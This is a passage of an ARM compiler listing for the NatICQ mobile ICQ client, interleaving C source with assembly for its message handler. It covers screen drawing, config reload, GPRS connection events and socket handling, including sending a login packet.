00109AE5 LDR R1,[R10, #+0] \ 000003A8 000191E7 LDR R0,[R1, +R0, LSL #+2] \ 000003AC 210000EF SWI +33 \ 000003B0 00109AE5 LDR R1,[R10, #+0] \ 000003B4 00B0A0E1 MOV R11,R0 \ 000003B8 000099E5 LDR R0,[R9, #+0] \ 000003BC 000191E7 LDR R0,[R1, +R0, LSL #+2] \ 000003C0 220000EF SWI +34 \ 000003C4 A81195E5 LDR R1,[R5, #+424] \ 000003C8 AC2195E5 LDR R2,[R5, #+428] \ 000003CC 0130A0E3 MOV R3,#+1 \ 000003D0 08002DE9 PUSH {R3} \ 000003D4 010080E0 ADD R0,R0,R1 \ 000003D8 02308BE0 ADD R3,R11,R2 \ 000003DC 013043E2 SUB R3,R3,#+1 \ 000003E0 08002DE9 PUSH {R3} \ 000003E4 013040E2 SUB R3,R0,#+1 \ 000003E8 340295E5 LDR R0,[R5, #+564] \ 000003EC 250000EF SWI +37 5960 DrawImg(IDLEICON_XX,IDLEICON_YX,XStatusesIconArray[CurrentXStatus]); \ 000003F0 000099E5 LDR R0,[R9, #+0] \ 000003F4 00109AE5 LDR R1,[R10, #+0] \ 000003F8 002191E7 LDR R2,[R1, +R0, LSL #+2] \ 000003FC AC1195E5 LDR R1,[R5, #+428] \ 00000400 A80195E5 LDR R0,[R5, #+424] \ 00000404 230000EF SWI +35 \ 00000408 08D08DE2 ADD SP,SP,#+8 5961 } 5962 5963 if (main_d==1) \ ??maincsm_onmessage_24: \ 0000040C 2C0295E5 LDR R0,[R5, #+556] \ 00000410 010050E3 CMP R0,#+1 \ 00000414 7E00001A BNE ??maincsm_onmessage_25 5964 { 5965 if(Is_SMARTCPU_On) \ 00000418 500295E5 LDR R0,[R5, #+592] \ 0000041C 000050E3 CMP R0,#+0 \ 00000420 7A00000A BEQ ??maincsm_onmessage_26 5966 { 5967 if(fonto==1) \ 00000424 440195E5 LDR R0,[R5, #+324] \ 00000428 481195E5 LDR R1,[R5, #+328] \ 0000042C 303295E5 LDR R3,[R5, #+560] \ 00000430 10C195E5 LDR R12,[R5, #+272] \ 00000434 08E195E5 LDR LR,[R5, #+264] \ 00000438 1090A0E3 MOV R9,#+16 \ 0000043C 9C9D89E3 ORR R9,R9,#0x2700 \ 00000440 059089E0 ADD R9,R9,R5 \ 00000444 08908DE5 STR R9,[SP, #+8] \ 00000448 00102DE9 PUSH {R12} \ 0000044C E020A0E3 MOV R2,#+224 \ 00000450 982D82E3 ORR R2,R2,#0x2600 \ 00000454 059082E0 ADD R9,R2,R5 \ 00000458 302042E2 SUB R2,R2,#+48 \ 0000045C 05A082E0 ADD R10,R2,R5 \ 00000460 9ABD85E2 ADD R11,R5,#+9856 \ 00000464 602042E2 SUB R2,R2,#+96 \ 00000468 052082E0 ADD R2,R2,R5 \ 0000046C 01005EE3 CMP LR,#+1 \ 00000470 2E00001A BNE ??maincsm_onmessage_27 5968 { 5969 PrintField(msg_d_x,msg_d_y, a_txt, align, fonto, spaco2); \ 00000474 01C0A0E3 MOV R12,#+1 \ 00000478 00102DE9 PUSH {R12} \ 0000047C ........ _BLF PrintField,??PrintField??rA 5970 PrintField(msg_d_x,msg_d_y+paused_height, s_txt, align, fonto, spaco2); \ 00000480 100195E5 LDR R0,[R5, #+272] \ 00000484 0B20A0E1 MOV R2,R11 \ 00000488 01002DE9 PUSH {R0} \ 0000048C 080195E5 LDR R0,[R5, #+264] \ 00000490 01002DE9 PUSH {R0} \ 00000494 381295E5 LDR R1,[R5, #+568] \ 00000498 303295E5 LDR R3,[R5, #+560] \ 0000049C 480195E5 LDR R0,[R5, #+328] \ 000004A0 001081E0 ADD R1,R1,R0 \ 000004A4 440195E5 LDR R0,[R5, #+324] \ 000004A8 ........ _BLF PrintField,??PrintField??rA 5971 PrintField(msg_d_x,msg_d_y+(2*paused_height), d_txt, align, fonto, spaco2); \ 000004AC 100195E5 LDR R0,[R5, #+272] \ 000004B0 0A20A0E1 MOV R2,R10 \ 000004B4 01002DE9 PUSH {R0} \ 000004B8 080195E5 LDR R0,[R5, #+264] \ 000004BC 01002DE9 PUSH {R0} \ 000004C0 381295E5 LDR R1,[R5, #+568] \ 000004C4 303295E5 LDR R3,[R5, #+560] \ 000004C8 480195E5 LDR R0,[R5, #+328] \ 000004CC 811080E0 ADD R1,R0,R1, LSL #+1 \ 000004D0 440195E5 LDR R0,[R5, #+324] \ 000004D4 ........ _BLF PrintField,??PrintField??rA 5972 PrintField(msg_d_x,msg_d_y+(3*paused_height), f_txt, align, fonto, spaco2); \ 000004D8 100195E5 LDR R0,[R5, #+272] \ 000004DC 0920A0E1 MOV R2,R9 \ 000004E0 01002DE9 PUSH {R0} \ 000004E4 080195E5 LDR R0,[R5, #+264] \ 000004E8 01002DE9 PUSH {R0} \ 000004EC 381295E5 LDR R1,[R5, #+568] \ 000004F0 303295E5 LDR R3,[R5, #+560] \ 000004F4 480195E5 LDR R0,[R5, #+328] \ 000004F8 811081E0 ADD R1,R1,R1, LSL #+1 \ 000004FC 001081E0 ADD R1,R1,R0 \ 00000500 440195E5 LDR R0,[R5, #+324] \ 00000504 ........ _BLF PrintField,??PrintField??rA 5973 PrintField(msg_d_x,msg_d_y+(4*paused_height), g_txt, align, fonto, spaco2); \ 00000508 100195E5 LDR R0,[R5, #+272] \ 0000050C 01002DE9 PUSH {R0} \ 00000510 080195E5 LDR R0,[R5, #+264] \ 00000514 01002DE9 PUSH {R0} \ 00000518 381295E5 LDR R1,[R5, #+568] \ 0000051C 303295E5 LDR R3,[R5, #+560] \ 00000520 30209DE5 LDR R2,[SP, #+48] \ 00000524 480195E5 LDR R0,[R5, #+328] \ 00000528 011180E0 ADD R1,R0,R1, LSL #+2 \ 0000052C 340000EA B ??maincsm_onmessage_28 5974 } 5975 else 5976 { 5977 PrintField(msg_d_x,msg_d_y, a_txt, align, fonto, spaco2); \ ??maincsm_onmessage_27: \ 00000530 00402DE9 PUSH {LR} \ 00000534 ........ _BLF PrintField,??PrintField??rA 5978 PrintField(msg_d_x,msg_d_y+GetFontYSIZE(paused_height)+1, s_txt, align, fonto, spaco2); \ 00000538 380295E5 LDR R0,[R5, #+568] \ 0000053C C50100EF SWI +453 \ 00000540 101195E5 LDR R1,[R5, #+272] \ 00000544 0B20A0E1 MOV R2,R11 \ 00000548 02002DE9 PUSH {R1} \ 0000054C 081195E5 LDR R1,[R5, #+264] \ 00000550 02002DE9 PUSH {R1} \ 00000554 303295E5 LDR R3,[R5, #+560] \ 00000558 481195E5 LDR R1,[R5, #+328] \ 0000055C 010080E0 ADD R0,R0,R1 \ 00000560 011080E2 ADD R1,R0,#+1 \ 00000564 440195E5 LDR R0,[R5, #+324] \ 00000568 ........ _BLF PrintField,??PrintField??rA 5979 PrintField(msg_d_x,msg_d_y+(2*GetFontYSIZE(paused_height))+2, d_txt, align, fonto, spaco2); \ 0000056C 380295E5 LDR R0,[R5, #+568] \ 00000570 C50100EF SWI +453 \ 00000574 101195E5 LDR R1,[R5, #+272] \ 00000578 0A20A0E1 MOV R2,R10 \ 0000057C 02002DE9 PUSH {R1} \ 00000580 081195E5 LDR R1,[R5, #+264] \ 00000584 02002DE9 PUSH {R1} \ 00000588 303295E5 LDR R3,[R5, #+560] \ 0000058C 481195E5 LDR R1,[R5, #+328] \ 00000590 800081E0 ADD R0,R1,R0, LSL #+1 \ 00000594 021080E2 ADD R1,R0,#+2 \ 00000598 440195E5 LDR R0,[R5, #+324] \ 0000059C ........ _BLF PrintField,??PrintField??rA 5980 PrintField(msg_d_x,msg_d_y+(3*GetFontYSIZE(paused_height))+3, f_txt, align, fonto, spaco2); \ 000005A0 380295E5 LDR R0,[R5, #+568] \ 000005A4 C50100EF SWI +453 \ 000005A8 101195E5 LDR R1,[R5, #+272] \ 000005AC 0920A0E1 MOV R2,R9 \ 000005B0 02002DE9 PUSH {R1} \ 000005B4 081195E5 LDR R1,[R5, #+264] \ 000005B8 800080E0 ADD R0,R0,R0, LSL #+1 \ 000005BC 02002DE9 PUSH {R1} \ 000005C0 303295E5 LDR R3,[R5, #+560] \ 000005C4 481195E5 LDR R1,[R5, #+328] \ 000005C8 010080E0 ADD R0,R0,R1 \ 000005CC 031080E2 ADD R1,R0,#+3 \ 000005D0 440195E5 LDR R0,[R5, #+324] \ 000005D4 ........ _BLF PrintField,??PrintField??rA 5981 PrintField(msg_d_x,msg_d_y+(4*GetFontYSIZE(paused_height))+4, g_txt, align, fonto, spaco2); \ 000005D8 380295E5 LDR R0,[R5, #+568] \ 000005DC C50100EF SWI +453 \ 000005E0 101195E5 LDR R1,[R5, #+272] \ 000005E4 02002DE9 PUSH {R1} \ 000005E8 081195E5 LDR R1,[R5, #+264] \ 000005EC 02002DE9 PUSH {R1} \ 000005F0 303295E5 LDR R3,[R5, #+560] \ 000005F4 30209DE5 LDR R2,[SP, #+48] \ 000005F8 481195E5 LDR R1,[R5, #+328] \ 000005FC 000181E0 ADD R0,R1,R0, LSL #+2 \ 00000600 041080E2 ADD R1,R0,#+4 \ ??maincsm_onmessage_28: \ 00000604 440195E5 LDR R0,[R5, #+324] \ 00000608 ........ _BLF PrintField,??PrintField??rA \ 0000060C 28D08DE2 ADD SP,SP,#+40 5982 } 5983 } 5984 main_d=0; \ ??maincsm_onmessage_26: \ 00000610 2C6285E5 STR R6,[R5, #+556] 5985 } 5986 if(Is_UPTIME_On) \ ??maincsm_onmessage_25: \ 00000614 940295E5 LDR R0,[R5, #+660] \ 00000618 000050E3 CMP R0,#+0 \ 0000061C 0100000A BEQ ??maincsm_onmessage_29 5987 DrawOnlineTime(canvasdata); \ 00000620 340295E5 LDR R0,[R5, #+564] \ 00000624 ........ BL DrawOnlineTime 5988 if(Is_PING_On) \ ??maincsm_onmessage_29: \ 00000628 480295E5 LDR R0,[R5, #+584] \ 0000062C 000050E3 CMP R0,#+0 \ 00000630 0100000A BEQ ??maincsm_onmessage_30 5989 DrawPing(canvasdata); \ 00000634 340295E5 LDR R0,[R5, #+564] \ 00000638 ........ BL DrawPing 5990 5991 if(Auto_Status && showAwayIdle) \ ??maincsm_onmessage_30: \ 0000063C 340195E5 LDR R0,[R5, #+308] \ 00000640 000050E3 CMP R0,#+0 \ 00000644 28019515 LDRNE R0,[R5, #+296] \ 00000648 00005013 CMPNE R0,#+0 \ 0000064C 0100000A BEQ ??maincsm_onmessage_31 5992 DrawAutoMSG(canvasdata); \ 00000650 340295E5 LDR R0,[R5, #+564] \ 00000654 ........ BL DrawAutoMSG 5993 if(Is_Unread_On) \ ??maincsm_onmessage_31: \ 00000658 180195E5 LDR R0,[R5, #+280] \ 0000065C 000050E3 CMP R0,#+0 \ 00000660 0F00000A BEQ ??maincsm_onmessage_20 5994 { 5995 sprintf(unread_msg_info, "Unread: %d", total_unread2); \ 00000664 602295E5 LDR R2,[R5, #+608] \ 00000668 AC90A0E3 MOV R9,#+172 \ 0000066C F09E89E3 ORR R9,R9,#0xF00 \ 00000670 981087E2 ADD R1,R7,#+152 \ 00000674 050089E0 ADD R0,R9,R5 \ 00000678 160000EF SWI +22 5996 PrintField(unread_X,unread_Y, unread_msg_info, align, fonto, spaco1); \ 0000067C 0C0195E5 LDR R0,[R5, #+268] \ 00000680 052089E0 ADD R2,R9,R5 \ 00000684 01002DE9 PUSH {R0} \ 00000688 080195E5 LDR R0,[R5, #+264] \ 0000068C 01002DE9 PUSH {R0} \ 00000690 303295E5 LDR R3,[R5, #+560] \ 00000694 E81095E5 LDR R1,[R5, #+232] \ 00000698 E40095E5 LDR R0,[R5, #+228] \ 0000069C ........ _BLF PrintField,??PrintField??rA \ 000006A0 08D08DE2 ADD SP,SP,#+8 5997 } 5998 } 5999 } 6000 } 6001 } 6002 } 6003 } 6004 6005 6006 //-----------------------------------------------------------// 6007 6008 6009 if (msg->msg==MSG_RECONFIGURE_REQ) \ ??maincsm_onmessage_20: \ 000006A4 040094E5 LDR R0,[R4, #+4] \ 000006A8 AF10A0E3 MOV R1,#+175 \ 000006AC DE1C81E3 ORR R1,R1,#0xDE00 \ 000006B0 010050E1 CMP R0,R1 \ 000006B4 3800001A BNE ??maincsm_onmessage_32 6010 { 6011 //if (strcmp_nocase(successed_config_filename,(char *)msg->data0)==0) 6012 if( (strcmp_nocase(suc_config_name,(char *)msg->data0)==0) 6013 || (strcmp_nocase(suc_config_name_mod,(char *)msg->data0)==0)) \ 000006B8 0C1094E5 LDR R1,[R4, #+12] \ 000006BC AC00A0E3 MOV R0,#+172 \ 000006C0 E00E80E3 ORR R0,R0,#0xE00 \ 000006C4 050080E0 ADD R0,R0,R5 \ 000006C8 ........ _BLF strcmp_nocase,??strcmp_nocase??rA \ 000006CC 000050E3 CMP R0,#+0 \ 000006D0 0600000A BEQ ??maincsm_onmessage_33 \ 000006D4 0C1094E5 LDR R1,[R4, #+12] \ 000006D8 EC00A0E3 MOV R0,#+236 \ 000006DC E00E80E3 ORR R0,R0,#0xE00 \ 000006E0 050080E0 ADD R0,R0,R5 \ 000006E4 ........ _BLF strcmp_nocase,??strcmp_nocase??rA \ 000006E8 000050E3 CMP R0,#+0 \ 000006EC 2A00001A BNE ??maincsm_onmessage_32 6014 { 6015 ShowMSG(1,(int)"NatICQ config updated!"); \ ??maincsm_onmessage_33: \ 000006F0 D81087E2 ADD R1,R7,#+216 \ 000006F4 0100A0E3 MOV R0,#+1 \ 000006F8 480100EF SWI +328 6016 // InitConfig(); 6017 UpdateConfig(); \ 000006FC ........ BL UpdateConfig 6018 #ifdef NEWSGOLD 6019 initTags(); \ 00000700 ........ _BLF initTags,??initTags??rA 6020 #endif 6021 PrintLibInit(1); \ 00000704 0800A0E1 MOV R0,R8 \ 00000708 ........ _BLF PrintLibInit,??PrintLibInit??rA 6022 FontPathInit((char *)fontpath, 1); \ 0000070C 2C90A0E3 MOV R9,#+44 \ 00000710 909E89E3 ORR R9,R9,#0x900 \ 00000714 0810A0E1 MOV R1,R8 \ 00000718 050089E0 ADD R0,R9,R5 \ 0000071C ........ _BLF FontPathInit,??FontPathInit??rA 6023 SetFontColor((char*)fontColor,(char*)bgrColor,1); \ 00000720 0820A0E1 MOV R2,R8 \ 00000724 0500A0E3 MOV R0,#+5 \ 00000728 400E80E3 ORR R0,R0,#0x400 \ 0000072C 051080E0 ADD R1,R0,R5 \ 00000730 0100C0E3 BIC R0,R0,#0x1 \ 00000734 050080E0 ADD R0,R0,R5 \ 00000738 ........ _BLF SetFontColor,??SetFontColor??rA 6024 //#ifdef ELKA 6025 if(fonto==1) \ 0000073C 080195E5 LDR R0,[R5, #+264] \ 00000740 010050E3 CMP R0,#+1 \ 00000744 0B00001A BNE ??maincsm_onmessage_34 6026 { 6027 char *heght=malloc(64); \ 00000748 4000A0E3 MOV R0,#+64 \ 0000074C 140000EF SWI +20 \ 00000750 00A0A0E1 MOV R10,R0 6028 sprintf(heght, "%s2240.png", fontpath); \ 00000754 052089E0 ADD R2,R9,R5 \ 00000758 F01087E2 ADD R1,R7,#+240 \ 0000075C 160000EF SWI +22 6029 paused_height=GetImgHeight((int)heght); \ 00000760 0A00A0E1 MOV R0,R10 \ 00000764 210000EF SWI +33 \ 00000768 380285E5 STR R0,[R5, #+568] 6030 mfree(heght); \ 0000076C 0A00A0E1 MOV R0,R10 \ 00000770 150000EF SWI +21 \ 00000774 010000EA B ??maincsm_onmessage_35 6031 } 6032 else 6033 paused_height=fonto-100; \ ??maincsm_onmessage_34: \ 00000778 640040E2 SUB R0,R0,#+100 \ 0000077C 380285E5 STR R0,[R5, #+568] 6034 //#endif 6035 free_ICONS(); \ ??maincsm_onmessage_35: \ 00000780 ........ BL free_ICONS 6036 setup_ICONS(); \ 00000784 ........ BL setup_ICONS 6037 ResortCL(); \ 00000788 ........ _BLF ResortCL,??ResortCL??rA 6038 RecountMenu(NULL,1); \ 0000078C 0110A0E3 MOV R1,#+1 \ 00000790 0600A0E1 MOV R0,R6 \ 00000794 ........ BL RecountMenu 6039 init_time_zone(); \ 00000798 ........ BL init_time_zone 6040 // InitSmiles(); 6041 } 6042 } 6043 6044 if (msg->msg==MSG_GUI_DESTROYED) \ ??maincsm_onmessage_32: \ 0000079C 040094E5 LDR R0,[R4, #+4] \ 000007A0 0E10A0E3 MOV R1,#+14 \ 000007A4 641C81E3 ORR R1,R1,#0x6400 \ 000007A8 010050E1 CMP R0,R1 \ 000007AC 0E00001A BNE ??maincsm_onmessage_36 6045 { 6046 if ((int)msg->data0==csm->gui_id) \ 000007B0 10109DE5 LDR R1,[SP, #+16] \ 000007B4 0C0094E5 LDR R0,[R4, #+12] \ 000007B8 281091E5 LDR R1,[R1, #+40] \ 000007BC 010050E1 CMP R0,R1 6047 { 6048 csm->csm.state=-3; \ 000007C0 10009D05 LDREQ R0,[SP, #+16] \ 000007C4 0210E003 MVNEQ R1,#+2 \ 000007C8 10108005 STREQ R1,[R0, #+16] 6049 } 6050 if ((int)msg->data0==contactlist_menu_id) \ 000007CC 0C0094E5 LDR R0,[R4, #+12] \ 000007D0 181395E5 LDR R1,[R5, #+792] \ 000007D4 010050E1 CMP R0,R1 6051 { 6052 contactlist_menu_id=0; \ 000007D8 18638505 STREQ R6,[R5, #+792] 6053 prev_clmenu_itemcount=0; \ 000007DC 20638505 STREQ R6,[R5, #+800] 6054 } 6055 if ((int)msg->data0==edchat_id) \ 000007E0 1C1395E5 LDR R1,[R5, #+796] \ 000007E4 010050E1 CMP R0,R1 6056 { 6057 edchat_id=0; \ 000007E8 1C638505 STREQ R6,[R5, #+796] 6058 } 6059 } 6060 6061 if (msg->msg==MSG_HELPER_TRANSLATOR) \ ??maincsm_onmessage_36: \ 000007EC 040094E5 LDR R0,[R4, #+4] \ 000007F0 AE10A0E3 MOV R1,#+174 \ 000007F4 DE1C81E3 ORR R1,R1,#0xDE00 \ 000007F8 010050E1 CMP R0,R1 \ 000007FC 0F00001A BNE ??maincsm_onmessage_21 6062 { 6063 switch((int)msg->data0) \ 00000800 0C0094E5 LDR R0,[R4, #+12] \ 00000804 101094E5 LDR R1,[R4, #+16] \ 00000808 ........ LDR R10,??DataTable125 ;; do_reconnect \ 0000080C 8420A0E3 MOV R2,#+132 \ 00000810 902D82E3 ORR R2,R2,#0x2400 \ 00000814 054082E0 ADD R4,R2,R5 \ 00000818 482F42E2 SUB R2,R2,#+288 \ 0000081C 059082E0 ADD R9,R2,R5 \ 00000820 802050E2 SUBS R2,R0,#+128 \ 00000824 0800000A BEQ ??maincsm_onmessage_37 \ 00000828 022052E2 SUBS R2,R2,#+2 \ 0000082C 0200000A BEQ ??maincsm_onmessage_38 \ 00000830 122052E2 SUBS R2,R2,#+18 \ 00000834 1100000A BEQ ??maincsm_onmessage_39 \ 00000838 1B0000EA B ??maincsm_onmessage_40 6064 { 6065 case LMAN_DISCONNECT_IND: 6066 is_gprs_online=0; \ ??maincsm_onmessage_38: \ 0000083C 086385E5 STR R6,[R5, #+776] 6067 return(1); \ ??maincsm_onmessage_21: \ 00000840 0100A0E3 MOV R0,#+1 \ 00000844 14D08DE2 ADD SP,SP,#+20 \ 00000848 F08FBDE8 POP {R4-R11,PC} ;; return 6068 case LMAN_CONNECT_CNF: 6069 vibra_count=1; \ ??maincsm_onmessage_37: \ 0000084C D08285E5 STR R8,[R5, #+720] 6070 start_vibra(); \ 00000850 ........ BL start_vibra 6071 is_gprs_online=1; \ 00000854 088385E5 STR R8,[R5, #+776] 6072 strcpy(logmsg,LG_GRGPRSUP); \ 00000858 FC1087E2 ADD R1,R7,#+252 \ 0000085C 0900A0E1 MOV R0,R9 \ 00000860 1A0000EF SWI +26 6073 GBS_StartTimerProc(&reconnect_tmr,TMR_SECOND*RECONNECT_TIME,do_reconnect); \ 00000864 280295E5 LDR R0,[R5, #+552] \ 00000868 0A20A0E1 MOV R2,R10 \ 0000086C D830A0E3 MOV R3,#+216 \ 00000870 930001E0 MUL R1,R3,R0 \ 00000874 0400A0E1 MOV R0,R4 \ 00000878 4D0000EF SWI +77 6074 return(1); \ 0000087C 070000EA B ??maincsm_onmessage_41 6075 case ENIP_DNR_HOST_BY_NAME: 6076 if ((int)msg->data1==DNR_ID) \ ??maincsm_onmessage_39: \ 00000880 A00395E5 LDR R0,[R5, #+928] \ 00000884 000051E1 CMP R1,R0 \ 00000888 ECFFFF1A BNE ??maincsm_onmessage_21 6077 { 6078 if (DNR_TRIES) SUBPROC((void *)create_connect); \ 0000088C A40395E5 LDR R0,[R5, #+932] \ 00000890 000050E3 CMP R0,#+0 \ 00000894 E9FFFF0A BEQ ??maincsm_onmessage_21 \ 00000898 ........ LDR R0,??DataTable126 ;; create_connect \ ??maincsm_onmessage_42: \ 0000089C 710100EF SWI +369 6079 } 6080 return(1); \ ??maincsm_onmessage_41: \ 000008A0 0100A0E3 MOV R0,#+1 \ ??maincsm_onmessage_43: \ 000008A4 14D08DE2 ADD SP,SP,#+20 \ 000008A8 F08FBDE8 POP {R4-R11,PC} 6081 } 6082 if ((int)msg->data1==sock) \ ??maincsm_onmessage_40: \ 000008AC EC2295E5 LDR R2,[R5, #+748] \ 000008B0 020051E1 CMP R1,R2 \ 000008B4 E1FFFF1A BNE ??maincsm_onmessage_21 6083 { 6084 //Если наш сокет 6085 if ((((unsigned int)msg->data0)>>28)==0xA) \ 000008B8 201EA0E1 LSR R1,R0,#+28 \ 000008BC 0A0051E3 CMP R1,#+10 \ 000008C0 0200001A BNE ??maincsm_onmessage_44 6086 { 6087 //Принят пакет 6088 ProcessPacket((TPKT *)msg->data0); \ 000008C4 ........ BL ProcessPacket 6089 return(0); \ 000008C8 0000A0E3 MOV R0,#+0 \ 000008CC F4FFFFEA B ??maincsm_onmessage_43 6090 } 6091 switch((int)msg->data0) \ ??maincsm_onmessage_44: \ 000008D0 E81295E5 LDR R1,[R5, #+744] \ 000008D4 8A0040E2 SUB R0,R0,#+138 \ 000008D8 050050E3 CMP R0,#+5 \ 000008DC D7FFFF8A BHI ??maincsm_onmessage_21 \ 000008E0 012F8FE2 ADR R2,??maincsm_onmessage_1 \ 000008E4 D02092E1 LDRSB R2,[R2, R0] \ 000008E8 02F18FE0 ADD PC,PC,R2, LSL #+2 \ ??maincsm_onmessage_1: \ 000008EC 3F3F3A01 DC8 +63,+63,+58,+1 \ 000008F0 48440000 DC8 +72,+68,+0,+0 6092 { 6093 case ENIP_SOCK_CONNECTED: 6094 if (connect_state==1) \ ??maincsm_onmessage_45: \ 000008F4 010051E3 CMP R1,#+1 \ 000008F8 3200001A BNE ??maincsm_onmessage_46 6095 { 6096 if(VIBR_ON_CONNECT) \ 000008FC 740195E5 LDR R0,[R5, #+372] \ 00000900 000050E3 CMP R0,#+0 6097 vibra_count=2; \ 00000904 0200A013 MOVNE R0,#+2 \ 00000908 D0028515 STRNE R0,[R5, #+720] 6098 else 6099 vibra_count=1; \ 0000090C D0828505 STREQ R8,[R5, #+720] 6100 start_vibra(); \ 00000910 ........ BL start_vibra 6101 //Соединение установленно, посылаем пакет login 6102 strcpy(logmsg, LG_GRTRYLOGIN); \ 00000914 451F87E2 ADD R1,R7,#+276 \ 00000918 0900A0E1 MOV R0,R9 \ 0000091C 1A0000EF SWI +26 6103 { 6104 int i=strlen(PASS); \ 00000920 AA0E85E2 ADD R0,R5,#+2720 \ 00000924 1B0000EF SWI +27 \ 00000928 0040A0E1 MOV R4,R0 6105 TPKT *p=malloc(sizeof(PKT)+i); \ 0000092C 080084E2 ADD R0,R4,#+8 \ 00000930 140000EF SWI +20 \ 00000934 0090A0E1 MOV R9,R0 6106 p->pkt.uin=UIN; \ 00000938 700195E5 LDR R0,[R5, #+368] 6107 p->pkt.type=T_REQLOGIN; 6108 p->pkt.data_len=i; 6109 memcpy(p->data,PASS,i); \ 0000093C 0420A0E1 MOV R2,R4 \ 00000940 000089E5 STR R0,[R9, #+0] \ 00000944 B480C9E1 STRH R8,[R9, #+4] \ 00000948 B640C9E1 STRH R4,[R9, #+6] \ 0000094C AA1E85E2 ADD R1,R5,#+2720 \ 00000950 080089E2 ADD R0,R9,#+8 \ 00000954 1E0100EF SWI +286 6110 SUBPROC((void *)send_login,0,p); \ 00000958 68019FE5 LDR R0,??maincsm_onmessage_5+0x10 ;; send_login \ 0000095C 0920A0E1 MOV R2,R9 \ 00000960 0010A0E3 MOV R1,#+0 \ 00000964 710100EF SWI +369 6111 } 6112 GROUP_CACHE=0; \ 00000968 146385E5 STR R6,[R5, #+788] 6113 SENDMSGCOUNT=0; //Начинаем отсчет \ 0000096C 6C6285E5 STR R6,[R5, #+620] 6114 if (!FindGroupByID(0)) AddGroup(0,LG_GROUPNOTINLIST); \ 00000970 0600A0E1 MOV R0,R6 \ 00000974 ........ _BLF FindGroupByID,??FindGroupByID??rA \ 00000978 000050E3 CMP R0,#+0 \ 0000097C 0100001A BNE ??maincsm_onmessage_47 \ 00000980 491F87E2 ADD R1,R7,#+292 \ 00000984 ........ _BLF AddGroup,??AddGroup??rA 6115 if (!FindContactByUin(UIN) && (IsShowLoopback)) AddContact(UIN, LG_CLLOOPBACK,0,1); \ ??maincsm_onmessage_47: \ 00000988 700195E5 LDR R0,[R5, #+368] \ 0000098C ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000990 000050E3 CMP R0,#+0 \ 00000994 0700001A BNE ??maincsm_onmessage_48 \ 00000998 040195E5 LDR R0,[R5, #+260] \ 0000099C 000050E3 CMP R0,#+0 \ 000009A0 0400000A BEQ ??maincsm_onmessage_48 \ 000009A4 700195E5 LDR R0,[R5, #+368] \ 000009A8 0130A0E3 MOV R3,#+1 \ 000009AC 0620A0E1 MOV R2,R6 \ 000009B0 4C1F87E2 ADD R1,R7,#+304 \ 000009B4 ........ _BLF AddContact,??AddContact??rA 6116 SUBPROC((void *)LoadLocalCL); \ ??maincsm_onmessage_48: \ 000009B8 0C019FE5 LDR R0,??maincsm_onmessage_5+0x14 ;; LoadLocalCL \ 000009BC 710100EF SWI +369 6117 SMART_REDRAW(); \ 000009C0 ........ BL SMART_REDRAW \ 000009C4 B5FFFFEA B ??maincsm_onmessage_41 6118 } 6119 else 6120 { 6121 ShowMSG(1,(int)LG_MSGILLEGMSGCON); \ ??maincsm_onmessage_46: \ 000009C8 4F1F87E2 ADD R1,R7,#+316 \ ??maincsm_onmessage_49: \ 000009CC 0100A0E3 MOV R0,#+1 \ 000009D0 480100EF SWI +328 \ 000009D4 B1FFFFEA B ??maincsm_onmessage_41 6122 } 6123 break; 6124 case ENIP_SOCK_DATA_READ: 6125 if (connect_state>=2) \ ??maincsm_onmessage_50: \ 000009D8 020051E3 CMP R1,#+2 6126 { 6127 //Если посылали send 6128 SUBPROC((void *)get_answer); \ 000009DC EC009FA5 LDRGE R0,??maincsm_onmessage_5+0x18 ;; get_answer \ 000009E0 ADFFFFAA BGE ??maincsm_onmessage_42 6129 //SMART_REDRAW(); 6130 } 6131 else 6132 { 6133 ShowMSG(1,(int)LG_MSGILLEGMSGREA); \ 000009E4 591F87E2 ADD R1,R7,#+356 \ 000009E8 F7FFFFEA B ??maincsm_onmessage_49 6134 } 6135 break; 6136 case ENIP_BUFFER_FREE: 6137 case ENIP_BUFFER_FREE1: 6138 SUBPROC((void *)SendAnswer,0,0); \ ??maincsm_onmessage_51: \ 000009EC ........ LDR R0,??DataTable127 ;; SendAnswer \ 000009F0 0020A0E3 MOV R2,#+0 \ 000009F4 0210A0E1 MOV R1,R2 \ 000009F8 710100EF SWI +369 \ 000009FC A7FFFFEA B ??maincsm_onmessage_41 6139 break; 6140 case ENIP_SOCK_REMOTE_CLOSED: 6141 //Закрыт со стороны сервера 6142 if (connect_state) \ ??maincsm_onmessage_52: \ 00000A00 000051E3 CMP R1,#+0 \ 00000A04 8DFFFF0A BEQ ??maincsm_onmessage_21 6143 SUBPROC((void *)end_socket); \ 00000A08 ........ LDR R0,??DataTable128 ;; end_socket \ 00000A0C A2FFFFEA B ??maincsm_onmessage_42 6144 break; 6145 case ENIP_SOCK_CLOSED: 6146 //strcpy(logmsg, "No connection"); 6147 //Dump not received 6148 /* if (RXstate>(-(int)sizeof(PKT))) 6149 { 6150 unsigned int err; 6151 int f=fopen("4:\\NATICQ.dump",A_ReadWrite+A_Create+A_Truncate+A_BIN,P_READ+P_WRITE,&err); 6152 if (f!=-1) 6153 { 6154 fwrite(f,&RXbuf,RXstate+sizeof(PKT),&err); 6155 fclose(f,&err); 6156 } 6157 }*/ 6158 FillAllOffline(); \ ??maincsm_onmessage_53: \ 00000A10 ........ _BLF FillAllOffline,??FillAllOffline??rA 6159 RecountMenu(NULL,1); \ 00000A14 0110A0E3 MOV R1,#+1 \ 00000A18 0600A0E1 MOV R0,R6 \ 00000A1C ........ BL RecountMenu 6160 connect_state=0; 6161 sock=-1; \ 00000A20 0600E0E1 MVN R0,R6 \ 00000A24 EC0285E5 STR R0,[R5, #+748] 6162 if(VIBR_ON_CONNECT) \ 00000A28 740195E5 LDR R0,[R5, #+372] \ 00000A2C E86285E5 STR R6,[R5, #+744] \ 00000A30 000050E3 CMP R0,#+0 6163 vibra_count=4; \ 00000A34 0400A013 MOVNE R0,#+4 \ 00000A38 D0028515 STRNE R0,[R5, #+720] 6164 else 6165 vibra_count=1; \ 00000A3C D0828505 STREQ R8,[R5, #+720] 6166 6167 start_vibra(); \ 00000A40 ........ BL start_vibra 6168 if (sendq_p) \ 00000A44 040395E5 LDR R0,[R5, #+772] \ 00000A48 000050E3 CMP R0,#+0 \ 00000A4C 0400000A BEQ ??maincsm_onmessage_54 6169 { 6170 snprintf(logmsg,255,"Disconnected, %d bytes not sended!",sendq_l); \ 00000A50 003395E5 LDR R3,[R5, #+768] \ 00000A54 622F87E2 ADD R2,R7,#+392 \ 00000A58 FF10A0E3 MOV R1,#+255 \ 00000A5C 0900A0E1 MOV R0,R9 